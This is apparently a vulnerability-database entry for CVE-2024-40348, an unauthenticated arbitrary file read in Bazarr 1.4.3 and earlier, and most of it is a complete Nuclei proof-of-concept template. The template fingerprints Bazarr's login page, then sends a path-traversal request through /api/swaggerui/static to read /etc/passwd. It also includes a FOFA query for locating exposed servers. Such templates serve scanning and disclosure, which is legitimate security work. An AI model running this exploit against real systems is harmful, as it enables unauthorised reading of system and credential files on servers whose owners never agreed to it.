CVE-2024-40348: Bazarr < 1.4.3 - Arbitrary File Read

2025-08-01 Bazarr PoC Public

Description

Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.

Details

CVE
CVE-2024-40348 · CVE.org
Severity
高危
Affected
Bazarr
Published
PoC
Public

PoC

id: CVE-2024-40348

info:
  name: Bazarr < 1.4.3 - Arbitrary File Read
  author: s4e-io
  severity: high
  description: |
    Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Bazarr server via path traversal.
  remediation: |
    Update Bazarr to version 1.4.4 or later.
  reference:
    - https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
    - https://www.bazarr.media/
    - https://github.com/bigb0x/CVE-2024-40348
  classification:
    cve-id: CVE-2024-40348
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
    cvss-score: 8.2
    epss-score: 0.08223
    epss-percentile: 0.94979
    cpe: cpe:2.3:a:bazarr:bazarr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: morpheus65535
    product: bazarr
    fofa-query: title=="Bazarr" && icon_hash="-1983413099"
  tags: cve,cve2024,bazarr,lfi,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"

    matchers:
      - type: word
        part: body
        words:
          - "<title>Bazarr</title>"
          - 'content="Bazarr'
          - "window.Bazarr"
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a1aeb264a37e9b9f618afce7ade28dcab8d258a568728e5f2bf44de4a2b16312022100958e0ac0ea734eec0f56fa7347c3fd987746a584b529d31a4901329403390038:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life